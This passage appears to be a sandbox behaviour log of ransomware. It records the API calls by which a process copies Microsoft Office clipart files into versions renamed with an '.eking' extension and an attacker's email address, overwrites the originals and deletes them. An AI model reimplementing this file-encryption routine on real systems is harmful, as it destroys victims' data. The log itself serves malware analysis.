hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1d9f, lpOverlapped=0x0) returned 1 [0189.704] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1da0, lpOverlapped=0x0) returned 1 [0189.705] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0189.705] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0189.705] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0189.705] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1d9f, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1d9f, lpOverlapped=0x0) returned 1 [0189.710] FlushFileBuffers (hFile=0x1b8) returned 1 [0189.714] FlushFileBuffers (hFile=0x1e8) returned 1 [0189.835] CloseHandle (hObject=0x1b8) returned 1 [0189.836] CloseHandle (hObject=0x1e8) returned 1 [0189.837] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0189.839] SetEvent (hEvent=0x174) returned 1 [0189.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0189.840] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6984) returned 1 [0189.840] CloseHandle (hObject=0x1e8) returned 1 [0189.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0189.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0189.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0189.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0189.841] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0189.841] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0189.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0189.842] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1b48, lpOverlapped=0x0) returned 1 [0189.847] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1b50, lpOverlapped=0x0) returned 1 [0189.848] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0189.848] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0189.848] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0189.848] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1b48, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1b48, lpOverlapped=0x0) returned 1 [0189.850] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.065] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.067] CloseHandle (hObject=0x1e8) returned 1 [0190.068] CloseHandle (hObject=0x1b8) returned 1 [0190.069] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0190.071] SetEvent (hEvent=0x174) returned 1 [0190.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.072] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=13254) returned 1 [0190.072] CloseHandle (hObject=0x1b8) returned 1 [0190.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0190.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0190.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.073] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.073] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0190.074] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x33c6, lpOverlapped=0x0) returned 1 [0190.076] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x33d0, lpOverlapped=0x0) returned 1 [0190.078] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.078] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.078] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.078] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x33c6, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x33c6, lpOverlapped=0x0) returned 1 [0190.081] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.085] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.092] CloseHandle (hObject=0x1b8) returned 1 [0190.092] CloseHandle (hObject=0x1e8) returned 1 [0190.107] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0190.109] SetEvent (hEvent=0x174) returned 1 [0190.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.112] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=8582) returned 1 [0190.112] CloseHandle (hObject=0x1e8) returned 1 [0190.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0190.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0190.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.113] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.113] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0190.115] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x2186, lpOverlapped=0x0) returned 1 [0190.118] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x2190, lpOverlapped=0x0) returned 1 [0190.119] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.120] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.120] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.120] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2186, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x2186, lpOverlapped=0x0) returned 1 [0190.122] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.128] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.131] CloseHandle (hObject=0x1e8) returned 1 [0190.131] CloseHandle (hObject=0x1b8) returned 1 [0190.132] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0190.134] SetEvent (hEvent=0x174) returned 1 [0190.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.135] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4894) returned 1 [0190.135] CloseHandle (hObject=0x1b8) returned 1 [0190.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0190.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0190.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.136] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.136] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0190.137] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x131e, lpOverlapped=0x0) returned 1 [0190.139] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1320, lpOverlapped=0x0) returned 1 [0190.141] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.141] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.141] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.141] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x131e, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x131e, lpOverlapped=0x0) returned 1 [0190.144] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.148] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.151] CloseHandle (hObject=0x1b8) returned 1 [0190.151] CloseHandle (hObject=0x1e8) returned 1 [0190.152] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0190.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.155] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=9248) returned 1 [0190.155] CloseHandle (hObject=0x1e8) returned 1 [0190.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0190.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0190.155] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0190.156] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.156] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0190.157] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x2420, lpOverlapped=0x0) returned 1 [0190.160] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x2430, lpOverlapped=0x0) returned 1 [0190.162] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0190.162] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.162] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0190.162] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x2420, lpOverlapped=0x0) returned 1 [0190.165] FlushFileBuffers (hFile=0x1e8) returned 1 [0190.173] FlushFileBuffers (hFile=0x1b8) returned 1 [0190.175] CloseHandle (hObject=0x1e8) returned 1 [0190.176] CloseHandle (hObject=0x1b8) returned 1 [0190.177] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0190.178] SetEvent (hEvent=0x174) returned 1 [0190.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.179] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5016) returned 1 [0190.179] CloseHandle (hObject=0x1b8) returned 1 [0190.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0190.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0190.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0190.180] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.180] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0190.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0190.181] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1398, lpOverlapped=0x0) returned 1 [0190.183] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x13a0, lpOverlapped=0x0) returned 1 [0190.184] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, 